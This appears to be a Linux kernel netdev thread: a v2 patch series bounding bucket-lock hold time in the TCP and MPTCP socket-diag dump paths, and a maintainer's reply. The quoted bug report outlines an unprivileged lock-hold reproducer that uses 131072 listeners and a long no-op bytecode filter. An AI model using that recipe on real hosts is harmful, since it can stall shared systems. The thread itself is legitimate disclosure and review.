Fixes: 91051f003948 ("tcp: Dump bound-only sockets in inet_diag.")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v2:
- Rebased onto net commit e2a6641e3bfd (2026-08-27).
- Added current-bucket cursor validation for listener, bind, and ehash
paths, with safe restart on mismatch.
- Reject listen/ehash cursors unless sk_state still matches the table
being walked, so a reused sk_nulls_node cannot continue under the
wrong bucket lock.
- Count TIME_WAIT bind nodes toward SKARR_SZ and resume them via tw_tb2
instead of skipping them under the bind lock.
- Kept listener and bound-only Fixes tags; dropped 7e3aab4a9cd7 because
that commit only converted the existing ehash dump lock type.
- Sorted new listen/bind/ehash local declarations reverse xmas tree.
- Left INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN to the MPTCP patch.
- Moved SKARR_SZ comment off "bh disabled" and aligned the ehash cursor
continuation indent.
- Refreshed the reviewed PoC and decoded crash-log artifacts.
- v1 Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/
include/linux/inet_diag.h | 14 ++
include/net/inet_hashtables.h | 18 ++
net/ipv4/inet_diag.c | 13 ++
net/ipv4/inet_hashtables.c | 18 --
net/ipv4/tcp_diag.c | 338 +++++++++++++++++++++++++---------
5 files changed, 294 insertions(+), 107 deletions(-)
diff --git a/include/linux/inet_diag.h b/include/linux/inet_diag.h
index 704fd415c2b4..6ccd32bc48f9 100644
--- a/include/linux/inet_diag.h
+++ b/include/linux/inet_diag.h
@@ -6,6 +6,7 @@
#include <uapi/linux/inet_diag.h>
struct inet_hashinfo;
+struct sock;
struct inet_diag_handler {
struct module *owner;
@@ -32,12 +33,23 @@ struct inet_diag_handler {
};
struct bpf_sk_storage_diag;
+
+enum inet_diag_dump_cursor_type {
+ INET_DIAG_DUMP_CURSOR_NONE,
+ INET_DIAG_DUMP_CURSOR_TCP_LISTEN,
+ INET_DIAG_DUMP_CURSOR_TCP_BIND,
+ INET_DIAG_DUMP_CURSOR_TCP_EHASH,
+};
+
struct inet_diag_dump_data {
struct nlattr *req_nlas[__INET_DIAG_REQ_MAX];
#define inet_diag_nla_bc req_nlas[INET_DIAG_REQ_BYTECODE]
#define inet_diag_nla_bpf_stgs req_nlas[INET_DIAG_REQ_SK_BPF_STORAGES]
struct bpf_sk_storage_diag *bpf_stg_diag;
+ struct sock *dump_cursor;
+ unsigned int dump_cursor_slot;
+ u8 dump_cursor_type;
bool mark_needed; /* INET_DIAG_BC_MARK_COND present. */
#ifdef CONFIG_SOCK_CGROUP_DATA
bool cgroup_needed; /* INET_DIAG_BC_CGROUP_COND present. */
@@ -53,6 +65,8 @@ int inet_sk_diag_fill(struct sock *sk, struct inet_connection_sock *icsk,
int inet_diag_bc_sk(const struct inet_diag_dump_data *cb_data, struct sock *sk);
+void inet_diag_dump_clear_cursor(struct inet_diag_dump_data *cb_data);
+
void inet_diag_msg_common_fill(struct inet_diag_msg *r, struct sock *sk);
static inline size_t inet_diag_msg_attrs_size(void)
diff --git a/include/net/inet_hashtables.h b/include/net/inet_hashtables.h
index 6e2fe186d0dc..d95639ac70c6 100644
--- a/include/net/inet_hashtables.h
+++ b/include/net/inet_hashtables.h
@@ -188,6 +188,24 @@ inet_lhash2_bucket(struct inet_hashinfo *h, u32 hash)
return &h->lhash2[hash & h->lhash2_mask];
}
+static inline struct inet_listen_hashbucket *
+inet_lhash2_bucket_sk(struct inet_hashinfo *h, struct sock *sk)
+{
+ u32 hash;
+
+#if IS_ENABLED(CONFIG_IPV6)
+ if (sk->sk_family == AF_INET6)
+ hash = ipv6_portaddr_hash(sock_net(sk),
+ &sk->sk_v6_rcv_saddr,
+ inet_sk(sk)->inet_num);
+ else
+#endif
+ hash = ipv4_portaddr_hash(sock_net(sk),
+ inet_sk(sk)->inet_rcv_saddr,
+ inet_sk(sk)->inet_num);
+ return inet_lhash2_bucket(h, hash);
+}
+
static inline struct inet_ehash_bucket *inet_ehash_bucket(
struct inet_hashinfo *hashinfo,
unsigned int hash)
diff --git a/net/ipv4/inet_diag.c b/net/ipv4/inet_diag.c
index 34b77aa87d0a..41148e880054 100644
--- a/net/ipv4/inet_diag.c
+++ b/net/ipv4/inet_diag.c
@@ -891,10 +891,23 @@ static int inet_diag_dump_start_compat(struct netlink_callback *cb)
return __inet_diag_dump_start(cb, sizeof(struct inet_diag_req));
}
+void inet_diag_dump_clear_cursor(struct inet_diag_dump_data *cb_data)
+{
+ if (!cb_data->dump_cursor)
+ return;
+
+ sock_gen_put(cb_data->dump_cursor);
+ cb_data->dump_cursor = NULL;
+ cb_data->dump_cursor_slot = 0;
+ cb_data->dump_cursor_type = INET_DIAG_DUMP_CURSOR_NONE;
+}
+EXPORT_SYMBOL_GPL(inet_diag_dump_clear_cursor);
+
static int inet_diag_dump_done(struct netlink_callback *cb)
{
struct inet_diag_dump_data *cb_data = cb->data;
+ inet_diag_dump_clear_cursor(cb_data);
bpf_sk_storage_diag_free(cb_data->bpf_stg_diag);
kfree(cb->data);
diff --git a/net/ipv4/inet_hashtables.c b/net/ipv4/inet_hashtables.c
index ba0faa9ae2bb..1c839fe3d7e0 100644
--- a/net/ipv4/inet_hashtables.c
+++ b/net/ipv4/inet_hashtables.c
@@ -331,24 +331,6 @@ int __inet_inherit_port(const struct sock *sk, struct sock *child)
return -ENOMEM;
}
-static struct inet_listen_hashbucket *
-inet_lhash2_bucket_sk(struct inet_hashinfo *h, struct sock *sk)
-{
- u32 hash;
-
-#if IS_ENABLED(CONFIG_IPV6)
- if (sk->sk_family == AF_INET6)
- hash = ipv6_portaddr_hash(sock_net(sk),
- &sk->sk_v6_rcv_saddr,
- inet_sk(sk)->inet_num);
- else
-#endif
- hash = ipv4_portaddr_hash(sock_net(sk),
- inet_sk(sk)->inet_rcv_saddr,
- inet_sk(sk)->inet_num);
- return inet_lhash2_bucket(h, hash);
-}
-
static inline int compute_score(struct sock *sk, const struct net *net,
const unsigned short hnum, const __be32 daddr,
const int dif, const int sdif)
diff --git a/net/ipv4/tcp_diag.c b/net/ipv4/tcp_diag.c
index ba1fdbe9807f..842e13ee79e5 100644
--- a/net/ipv4/tcp_diag.c
+++ b/net/ipv4/tcp_diag.c
@@ -285,6 +285,73 @@ static int sk_diag_fill(struct sock *sk, struct sk_buff *skb,
net_admin);
}
+/* Process a maximum of SKARR_SZ sockets at a time when walking hash buckets
+ * while holding a bucket lock.
+ */
+#define SKARR_SZ 16
+
+static void tcp_diag_save_cursor(struct inet_diag_dump_data *cb_data, int type,
+ unsigned int slot, struct sock *sk)
+{
+ sock_hold(sk);
+ inet_diag_dump_clear_cursor(cb_data);
+ cb_data->dump_cursor = sk;
+ cb_data->dump_cursor_slot = slot;
+ cb_data->dump_cursor_type = type;
+}
+
+static struct inet_bind2_bucket *tcp_diag_sk_bind2(const struct sock *sk)
+{
+ if (sk->sk_state == TCP_TIME_WAIT)
+ return inet_twsk(sk)->tw_tb2;
+
+ return inet_csk(sk)->icsk_bind2_hash;
+}
+
+static bool tcp_diag_bind_collect_sock(struct sock *sk, struct sock **sk_arr,
+ int *num_arr, int *accum, int num)
+{
+ sock_hold(sk);
+ num_arr[*accum] = num;
+ sk_arr[*accum] = sk;
+
+ return ++*accum == SKARR_SZ;
+}
+
+static bool tcp_diag_bind_collect_owners(struct hlist_head *owners,
+ struct sock **sk_arr, int *num_arr,
+ int *accum, int *num, int s_num)
+{
+ struct sock *sk;
+
+ sk_for_each_bound(sk, owners) {
+ if (*num < s_num) {
+ (*num)++;
+ continue;
+ }
+
+ if (tcp_diag_bind_collect_sock(sk, sk_arr, num_arr, accum, *num))
+ return true;
+ (*num)++;
+ }
+
+ return false;
+}
+
+static bool tcp_diag_bind_collect_owners_continue(struct sock *sk,
+ struct sock **sk_arr,
+ int *num_arr, int *accum,
+ int *num)
+{
+ hlist_for_each_entry_continue(sk, sk_bind_node) {
+ if (tcp_diag_bind_collect_sock(sk, sk_arr, num_arr, accum, *num))
+ return true;
+ (*num)++;
+ }
+
+ return false;
+}
+
static void twsk_build_assert(void)
{
BUILD_BUG_ON(offsetof(struct inet_timewait_sock, tw_family) !=
@@ -335,8 +402,15 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
for (i = s_i; i <= hashinfo->lhash2_mask; i++) {
struct inet_listen_hashbucket *ilb;
struct hlist_nulls_node *node;
+ struct sock *sk_arr[SKARR_SZ];
+ int num_arr[SKARR_SZ];
+ struct sock *cursor;
+ int idx, accum, res;
+ bool use_cursor;
+resume_listen_walk:
num = 0;
+ accum = 0;
ilb = &hashinfo->lhash2[i];
if (hlist_nulls_empty(&ilb->nulls_head)) {
@@ -344,52 +418,81 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
continue;
}
spin_lock(&ilb->lock);
- sk_nulls_for_each(sk, node, &ilb->nulls_head) {
- struct inet_sock *inet = inet_sk(sk);
+ cursor = cb_data->dump_cursor;
+ use_cursor = cursor &&
+ cb_data->dump_cursor_type ==
+ INET_DIAG_DUMP_CURSOR_TCP_LISTEN &&
+ cb_data->dump_cursor_slot == i &&
+ inet_sk_state_load(cursor) == TCP_LISTEN &&
+ !hlist_nulls_unhashed(&cursor->sk_nulls_node) &&
+ cursor->sk_nulls_node.pprev != LIST_POISON2 &&
+ inet_lhash2_bucket_sk(hashinfo, cursor) == ilb;
+ node = use_cursor ? cursor->sk_nulls_node.next :
+ ilb->nulls_head.first;
+ if (!use_cursor)
+ s_num = 0;
+ hlist_nulls_for_each_entry_from(sk, node, sk_nulls_node) {
- if (!net_eq(sock_net(sk), net))
- continue;
+ sock_hold(sk);
+ num_arr[accum] = num;
+ sk_arr[accum] = sk;
+ if (++accum == SKARR_SZ)
+ break;
- if (num < s_num) {
- num++;
- continue;
- }
+ ++num;
+ }
+ spin_unlock(&ilb->lock);
+
+ res = 0;
+ for (idx = 0; idx < accum; idx++) {
+ struct inet_sock *inet;
+
+ sk = sk_arr[idx];
+ if (!net_eq(sock_net(sk), net))
+ goto processed_listen_sk;
+ inet = inet_sk(sk);
if (r->sdiag_family != AF_UNSPEC &&
sk->sk_family != r->sdiag_family)
- goto next_listen;
+ goto processed_listen_sk;
if (r->id.idiag_sport != inet->inet_sport &&
r->id.idiag_sport)
- goto next_listen;
-
- if (!inet_diag_bc_sk(cb_data, sk))
- goto next_listen;
+ goto processed_listen_sk;
- if (inet_sk_diag_fill(sk, inet_csk(sk), skb,
- cb, r, NLM_F_MULTI,
- net_admin) < 0) {
- spin_unlock(&ilb->lock);
- goto done;
+ if (res >= 0 && inet_diag_bc_sk(cb_data, sk)) {
+ res = inet_sk_diag_fill(sk, inet_csk(sk),
+ skb, cb, r, NLM_F_MULTI,
+ net_admin);
+ if (res < 0)
+ num = num_arr[idx];
}
+processed_listen_sk:
+ if (res >= 0)
+ tcp_diag_save_cursor(cb_data,
+ INET_DIAG_DUMP_CURSOR_TCP_LISTEN,
+ i, sk);
+ sock_put(sk);
+ }
+ if (res < 0)
+ goto done;
-next_listen:
- ++num;
+ cond_resched();
+
+ if (accum == SKARR_SZ) {
+ s_num = 0;
+ goto resume_listen_walk;
}
- spin_unlock(&ilb->lock);
+ inet_diag_dump_clear_cursor(cb_data);
s_num = 0;
}
skip_listen_ht:
+ inet_diag_dump_clear_cursor(cb_data);
cb->args[0] = 1;
s_i = num = s_num = 0;
}
-/* Process a maximum of SKARR_SZ sockets at a time when walking hash buckets
- * with bh disabled.
- */
-#define SKARR_SZ 16
-
/* Dump bound but inactive (not listening, connecting, etc.) sockets */
if (cb->args[0] == 1) {
if (!(idiag_states & TCPF_BOUND_INACTIVE))
@@ -400,7 +503,9 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
struct inet_bind2_bucket *tb2;
struct sock *sk_arr[SKARR_SZ];
int num_arr[SKARR_SZ];
+ struct sock *cursor;
int idx, accum, res;
+ bool use_cursor;
resume_bind_walk:
num = 0;
@@ -412,34 +517,46 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
continue;
}
spin_lock_bh(&ibb->lock);
- inet_bind_bucket_for_each(tb2, &ibb->chain) {
- if (!net_eq(ib2_net(tb2), net))
- continue;
-
- sk_for_each_bound(sk, &tb2->owners) {
- struct inet_sock *inet = inet_sk(sk);
-
- if (num < s_num)
- goto next_bind;
-
- if (sk->sk_state != TCP_CLOSE ||
- !inet->inet_num)
- goto next_bind;
-
- if (r->sdiag_family != AF_UNSPEC &&
- r->sdiag_family != sk->sk_family)
- goto next_bind;
-
- if (!inet_diag_bc_sk(cb_data, sk))
- goto next_bind;
-
- sock_hold(sk);
- num_arr[accum] = num;
- sk_arr[accum] = sk;
- if (++accum == SKARR_SZ)
+ cursor = cb_data->dump_cursor;
+ use_cursor = cursor &&
+ cb_data->dump_cursor_type ==
+ INET_DIAG_DUMP_CURSOR_TCP_BIND &&
+ cb_data->dump_cursor_slot == i &&
+ !hlist_unhashed(&cursor->sk_bind_node) &&
+ cursor->sk_bind_node.pprev != LIST_POISON2;
+ if (use_cursor) {
+ tb2 = tcp_diag_sk_bind2(cursor);
+ use_cursor = tb2 &&
+ inet_bhashfn_portaddr(hashinfo, cursor,
+ sock_net(cursor),
+ inet_sk(cursor)->inet_num) ==
+ ibb;
+ }
+ if (!use_cursor)
+ s_num = 0;
+ if (use_cursor) {
+ sk = cursor;
+ if (tcp_diag_bind_collect_owners_continue(sk, sk_arr,
+ num_arr,
+ &accum,
+ &num))
+ goto pause_bind_walk;
+ hlist_for_each_entry_continue(tb2, node) {
+ if (tcp_diag_bind_collect_owners(&tb2->owners,
+ sk_arr,
+ num_arr,
+ &accum,
+ &num, 0))
+ goto pause_bind_walk;
+ }
+ } else {
+ inet_bind_bucket_for_each(tb2, &ibb->chain) {
+ if (tcp_diag_bind_collect_owners(&tb2->owners,
+ sk_arr,
+ num_arr,
+ &accum,
+ &num, s_num))
goto pause_bind_walk;
-next_bind:
- num++;
}
}
pause_bind_walk:
@@ -447,15 +564,33 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
res = 0;
for (idx = 0; idx < accum; idx++) {
- if (res >= 0) {
- res = inet_sk_diag_fill(sk_arr[idx],
- NULL, skb, cb,
+ struct inet_sock *inet;
+
+ sk = sk_arr[idx];
+ if (!net_eq(sock_net(sk), net))
+ goto put_bind_sk;
+
+ inet = inet_sk(sk);
+ if (sk->sk_state != TCP_CLOSE || !inet->inet_num)
+ goto put_bind_sk;
+
+ if (r->sdiag_family != AF_UNSPEC &&
+ r->sdiag_family != sk->sk_family)
+ goto put_bind_sk;
+
+ if (res >= 0 && inet_diag_bc_sk(cb_data, sk)) {
+ res = inet_sk_diag_fill(sk, NULL, skb, cb,
r, NLM_F_MULTI,
net_admin);
if (res < 0)
num = num_arr[idx];
}
- sock_put(sk_arr[idx]);
+put_bind_sk:
+ if (res >= 0)
+ tcp_diag_save_cursor(cb_data,
+ INET_DIAG_DUMP_CURSOR_TCP_BIND,
+ i, sk);
+ sock_gen_put(sk);
}
if (res < 0)
goto done;
@@ -463,13 +598,15 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
cond_resched();
if (accum == SKARR_SZ) {
- s_num = num + 1;
+ s_num = 0;
goto resume_bind_walk;
}
+ inet_diag_dump_clear_cursor(cb_data);
s_num = 0;
}
skip_bind_ht:
+ inet_diag_dump_clear_cursor(cb_data);
cb->args[0] = 2;
s_i = num = s_num = 0;
}
@@ -483,43 +620,35 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
struct hlist_nulls_node *node;
struct sock *sk_arr[SKARR_SZ];
int num_arr[SKARR_SZ];
+ struct sock *cursor;
int idx, accum, res;
+ bool use_cursor;
if (hlist_nulls_empty(&head->chain))
continue;
- if (i > s_i)
+ if (i > s_i) {
+ inet_diag_dump_clear_cursor(cb_data);
s_num = 0;
+ }
next_chunk:
num = 0;
accum = 0;
spin_lock_bh(lock);
- sk_nulls_for_each(sk, node, &head->chain) {
- int state;
-
- if (!net_eq(sock_net(sk), net))
- continue;
- if (num < s_num)
- goto next_normal;
- state = (sk->sk_state == TCP_TIME_WAIT) ?
- READ_ONCE(inet_twsk(sk)->tw_substate) : sk->sk_state;
- if (!(idiag_states & (1 << state)))
- goto next_normal;
- if (r->sdiag_family != AF_UNSPEC &&
- sk->sk_family != r->sdiag_family)
- goto next_normal;
- if (r->id.idiag_sport != htons(READ_ONCE(sk->sk_num)) &&
- r->id.idiag_sport)
- goto next_normal;
- if (r->id.idiag_dport != sk->sk_dport &&
- r->id.idiag_dport)
- goto next_normal;
- twsk_build_assert();
-
- if (!inet_diag_bc_sk(cb_data, sk))
- goto next_normal;
-
+ cursor = cb_data->dump_cursor;
+ use_cursor = cursor &&
+ cb_data->dump_cursor_type ==
+ INET_DIAG_DUMP_CURSOR_TCP_EHASH &&
+ cb_data->dump_cursor_slot == i &&
+ inet_sk_state_load(cursor) != TCP_LISTEN &&
+ !hlist_nulls_unhashed(&cursor->sk_nulls_node) &&
+ cursor->sk_nulls_node.pprev != LIST_POISON2 &&
+ inet_ehash_bucket(hashinfo, cursor->sk_hash) == head;
+ node = use_cursor ? cursor->sk_nulls_node.next : head->chain.first;
+ if (!use_cursor)
+ s_num = 0;
+ hlist_nulls_for_each_entry_from(sk, node, sk_nulls_node) {
if (!refcount_inc_not_zero(&sk->sk_refcnt))
goto next_normal;
@@ -534,13 +663,42 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
res = 0;
for (idx = 0; idx < accum; idx++) {
- if (res >= 0) {
- res = sk_diag_fill(sk_arr[idx], skb, cb, r,
- NLM_F_MULTI, net_admin);
+ int state;
+
+ sk = sk_arr[idx];
+ if (!net_eq(sock_net(sk), net))
+ goto put_estab_sk;
+
+ state = (sk->sk_state == TCP_TIME_WAIT) ?
+ READ_ONCE(inet_twsk(sk)->tw_substate) : sk->sk_state;
+ if (!(idiag_states & (1 << state)))
+ goto put_estab_sk;
+
+ if (r->sdiag_family != AF_UNSPEC &&
+ sk->sk_family != r->sdiag_family)
+ goto put_estab_sk;
+
+ if (r->id.idiag_sport != htons(READ_ONCE(sk->sk_num)) &&
+ r->id.idiag_sport)
+ goto put_estab_sk;
+
+ if (r->id.idiag_dport != sk->sk_dport &&
+ r->id.idiag_dport)
+ goto put_estab_sk;
+
+ twsk_build_assert();
+ if (res >= 0 && inet_diag_bc_sk(cb_data, sk)) {
+ res = sk_diag_fill(sk, skb, cb, r, NLM_F_MULTI,
+ net_admin);
if (res < 0)
num = num_arr[idx];
}
- sock_gen_put(sk_arr[idx]);
+put_estab_sk:
+ if (res >= 0)
+ tcp_diag_save_cursor(cb_data,
+ INET_DIAG_DUMP_CURSOR_TCP_EHASH,
+ i, sk);
+ sock_gen_put(sk);
}
if (res < 0)
break;
@@ -548,9 +706,11 @@ static void tcp_diag_dump(struct sk_buff *skb, struct netlink_callback *cb,
cond_resched();
if (accum == SKARR_SZ) {
- s_num = num + 1;
+ s_num = 0;
goto next_chunk;
}
+
+ inet_diag_dump_clear_cursor(cb_data);
}
done:
--
2.43.0
^ permalink raw reply related [flat|nested] 5+ messages in thread
* [PATCH net v2 2/2] mptcp: diag: bound listener bucket lock hold
2026-09-01 12:53 [PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths Zihan Xi
2026-09-01 12:53 ` [PATCH net v2 1/2] tcp: diag: bound bucket lock hold in tcp_diag_dump() Zihan Xi
@ 2026-09-01 12:53 ` Zihan Xi
2026-09-03 2:09 ` [PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths Kuniyuki Iwashima
2 siblings, 0 replies; 5+ messages in thread
From: Zihan Xi @ 2026-09-01 12:53 UTC (permalink / raw)
To: netdev
Cc: Zihan Xi, linux-kernel, mptcp, David S . Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Simon Horman, Neal Cardwell,
Kuniyuki Iwashima, Matthieu Baerts, Mat Martineau, Geliang Tang,
Guillaume Nault, Florian Westphal, stable, Vega
MPTCP listener diag dumping reuses sk_diag_dump(), which executes
inet_diag_bc_sk() before filling the netlink reply. The listener walk in
mptcp_diag_dump_listeners() currently performs that work while holding the
listener bucket lock.
The time spent under the listener bucket lock can therefore grow with the
number of sockets visited and with per-socket dump work. The resume state
also requires later batches to revisit the bucket prefix.
Fix this by collecting only referenced listener sockets while holding the
bucket lock. After dropping it, re-check the listener properties, obtain
the parent MPTCP socket reference, and call sk_diag_dump(). Keep a
referenced cursor so later batches resume after the previous listener
instead of rescanning the bucket head. Validate a cursor against the
current listener bucket and TCP_LISTEN state before resuming from it.
After dropping the lock, read icsk_ulp_data with rcu_dereference().
Fixes: 4fa39b701ce9 ("mptcp: listen diag dump support")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v2:
- Rebased onto net commit e2a6641e3bfd (2026-08-27).
- Added current-bucket cursor validation and safe restart.
- Reject MPTCP listener cursors unless the socket is still TCP_LISTEN.
- Read icsk_ulp_data with rcu_dereference() after dropping the listener
lock.
- Moved INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN into this patch.
- Moved MPTCP_DIAG_BULK_SZ below the includes and sorted new local
declarations reverse xmas tree.
- Refreshed the reviewed PoC and decoded crash-log artifacts.
- v1 Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/
include/linux/inet_diag.h | 1 +
net/mptcp/mptcp_diag.c | 124 +++++++++++++++++++++++++++-----------
2 files changed, 89 insertions(+), 36 deletions(-)
diff --git a/include/linux/inet_diag.h b/include/linux/inet_diag.h
index 6ccd32bc48f9..4859e77a28c7 100644
--- a/include/linux/inet_diag.h
+++ b/include/linux/inet_diag.h
@@ -39,6 +39,7 @@ enum inet_diag_dump_cursor_type {
INET_DIAG_DUMP_CURSOR_TCP_LISTEN,
INET_DIAG_DUMP_CURSOR_TCP_BIND,
INET_DIAG_DUMP_CURSOR_TCP_EHASH,
+ INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN,
};
struct inet_diag_dump_data {
diff --git a/net/mptcp/mptcp_diag.c b/net/mptcp/mptcp_diag.c
index 136c2d05c0ee..37b33ea5d79d 100644
--- a/net/mptcp/mptcp_diag.c
+++ b/net/mptcp/mptcp_diag.c
@@ -12,6 +12,19 @@
#include <net/netlink.h>
#include "protocol.h"
+/* Process a bounded number of listeners per bucket lock hold. */
+#define MPTCP_DIAG_BULK_SZ 16
+
+static void mptcp_diag_save_cursor(struct inet_diag_dump_data *cb_data,
+ unsigned int slot, struct sock *sk)
+{
+ sock_hold(sk);
+ inet_diag_dump_clear_cursor(cb_data);
+ cb_data->dump_cursor = sk;
+ cb_data->dump_cursor_slot = slot;
+ cb_data->dump_cursor_type = INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN;
+}
+
static int sk_diag_dump(struct sock *sk, struct sk_buff *skb,
struct netlink_callback *cb,
const struct inet_diag_req_v2 *req,
@@ -77,6 +90,7 @@ static void mptcp_diag_dump_listeners(struct sk_buff *skb, struct netlink_callba
bool net_admin)
{
struct mptcp_diag_ctx *diag_ctx = (void *)cb->ctx;
+ struct inet_diag_dump_data *cb_data = cb->data;
struct net *net = sock_net(skb->sk);
struct inet_hashinfo *hinfo;
int i;
@@ -84,64 +98,102 @@ static void mptcp_diag_dump_listeners(struct sk_buff *skb, struct netlink_callba
hinfo = net->ipv4.tcp_death_row.hashinfo;
for (i = diag_ctx->l_slot; i <= hinfo->lhash2_mask; i++) {
+ struct sock *tmp, *sk, *sk_arr[MPTCP_DIAG_BULK_SZ];
struct inet_listen_hashbucket *ilb;
+ int num_arr[MPTCP_DIAG_BULK_SZ];
struct hlist_nulls_node *node;
- struct sock *sk;
- int num = 0;
+ int accum, idx, num, ret;
+ struct sock *cursor;
+ bool use_cursor;
+resume_listen_walk:
+ num = 0;
+ accum = 0;
ilb = &hinfo->lhash2[i];
+ ret = 0;
rcu_read_lock();
spin_lock(&ilb->lock);
- sk_nulls_for_each(sk, node, &ilb->nulls_head) {
- const struct mptcp_subflow_context *ctx = mptcp_subflow_ctx(sk);
- struct inet_sock *inet = inet_sk(sk);
- int ret;
-
- if (num < diag_ctx->l_num)
- goto next_listen;
-
- if (!ctx || strcmp(inet_csk(sk)->icsk_ulp_ops->name, "mptcp"))
- goto next_listen;
-
- sk = ctx->conn;
- if (!sk || !net_eq(sock_net(sk), net))
- goto next_listen;
-
- if (r->sdiag_family != AF_UNSPEC &&
- sk->sk_family != r->sdiag_family)
- goto next_listen;
-
- if (r->id.idiag_sport != inet->inet_sport &&
- r->id.idiag_sport)
+ cursor = cb_data->dump_cursor;
+ use_cursor = cursor &&
+ cb_data->dump_cursor_type ==
+ INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN &&
+ cb_data->dump_cursor_slot == i &&
+ inet_sk_state_load(cursor) == TCP_LISTEN &&
+ !hlist_nulls_unhashed(&cursor->sk_nulls_node) &&
+ cursor->sk_nulls_node.pprev != LIST_POISON2 &&
+ inet_lhash2_bucket_sk(hinfo, cursor) == ilb;
+ node = use_cursor ? cursor->sk_nulls_node.next :
+ ilb->nulls_head.first;
+ hlist_nulls_for_each_entry_from(sk, node, sk_nulls_node) {
+ if (!use_cursor && num < diag_ctx->l_num)
goto next_listen;
if (!refcount_inc_not_zero(&sk->sk_refcnt))
goto next_listen;
- ret = sk_diag_dump(sk, skb, cb, r, net_admin);
-
- sock_put(sk);
-
- if (ret < 0) {
- spin_unlock(&ilb->lock);
- rcu_read_unlock();
- diag_ctx->l_slot = i;
- diag_ctx->l_num = num;
- return;
- }
- diag_ctx->l_num = num + 1;
- num = 0;
+ num_arr[accum] = num;
+ sk_arr[accum] = sk;
+ if (++accum == MPTCP_DIAG_BULK_SZ)
+ break;
next_listen:
++num;
}
spin_unlock(&ilb->lock);
rcu_read_unlock();
+ for (idx = 0; idx < accum; idx++) {
+ const struct mptcp_subflow_context *ctx;
+ const struct tcp_ulp_ops *ulp_ops;
+ struct inet_sock *inet;
+
+ sk = sk_arr[idx];
+ rcu_read_lock();
+ ctx = rcu_dereference(inet_csk(sk)->icsk_ulp_data);
+ ulp_ops = READ_ONCE(inet_csk(sk)->icsk_ulp_ops);
+ inet = inet_sk(sk);
+ tmp = ctx ? ctx->conn : NULL;
+ if (!ctx || !ulp_ops || strcmp(ulp_ops->name, "mptcp") ||
+ !tmp || !net_eq(sock_net(tmp), net) ||
+ (r->sdiag_family != AF_UNSPEC &&
+ tmp->sk_family != r->sdiag_family) ||
+ (r->id.idiag_sport != inet->inet_sport &&
+ r->id.idiag_sport) ||
+ !refcount_inc_not_zero(&tmp->sk_refcnt)) {
+ rcu_read_unlock();
+ goto processed_listener_sk;
+ }
+ rcu_read_unlock();
+ if (ret >= 0) {
+ ret = sk_diag_dump(tmp, skb, cb, r, net_admin);
+ if (ret < 0)
+ num = num_arr[idx];
+ }
+ sock_put(tmp);
+processed_listener_sk:
+ if (ret >= 0)
+ mptcp_diag_save_cursor(cb_data, i, sk);
+ sock_put(sk);
+ }
+
+ if (ret < 0) {
+ diag_ctx->l_slot = i;
+ diag_ctx->l_num = num;
+ return;
+ }
+
cond_resched();
+
+ if (accum == MPTCP_DIAG_BULK_SZ) {
+ diag_ctx->l_num = 0;
+ goto resume_listen_walk;
+ }
+
+ inet_diag_dump_clear_cursor(cb_data);
diag_ctx->l_num = 0;
}
+ inet_diag_dump_clear_cursor(cb_data);
diag_ctx->l_num = 0;
diag_ctx->l_slot = i;
}
--
2.43.0
^ permalink raw reply related [flat|nested] 5+ messages in thread
* Re: [PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths
2026-09-01 12:53 [PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths Zihan Xi
2026-09-01 12:53 ` [PATCH net v2 1/2] tcp: diag: bound bucket lock hold in tcp_diag_dump() Zihan Xi
2026-09-01 12:53 ` [PATCH net v2 2/2] mptcp: diag: bound listener bucket lock hold Zihan Xi
@ 2026-09-03 2:09 ` Kuniyuki Iwashima
2026-09-03 2:35 ` zihan xi
2 siblings, 1 reply; 5+ messages in thread
From: Kuniyuki Iwashima @ 2026-09-03 2:09 UTC (permalink / raw)
To: Zihan Xi
Cc: netdev, linux-kernel, mptcp, David S . Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Simon Horman, Neal Cardwell,
Matthieu Baerts, Mat Martineau, Geliang Tang, Guillaume Nault,
Florian Westphal
On Tue, Sep 1, 2026 at 5:53 AM Zihan Xi <zihanx@nebusec.ai> wrote:
>
> Hi Linux kernel maintainers,
>
> We found and validated an issue in net/ipv4/tcp_diag.c and
> net/mptcp/mptcp_diag.c. The bug is reachable by a
> non-root user via user and net namespace.
> Our testing did not identify any impact on other functionality.
>
> We will provide detailed information about the bug
> in this email, along with a PoC to trigger it.
>
> ---- details below ----
>
> Bug details:
>
> inet_diag TCP dumps currently execute request-supplied
> INET_DIAG_REQ_BYTECODE programs while still holding the listener, bind,
> or ehash bucket locks in tcp_diag_dump(). With a heavily populated
> bucket, the time spent under the same lock grows with both raw socket
> traversal and bytecode cost.
>
> The local listener reproducer creates four SO_REUSEPORT groups of 32768
> listeners each, 131072 sockets in total, and then issues a
> NETLINK_SOCK_DIAG dump request with 16380 INET_DIAG_BC_NOP instructions
Same feedback as v1.
tcp_diag_dump() is long enough, and I don't think that the "fix"
to avoid a long loop on *QEMU* due to an unreal setup is worth
300 LoC(hurn).
> followed by a failing INET_DIAG_BC_D_EQ test. This is a deliberately
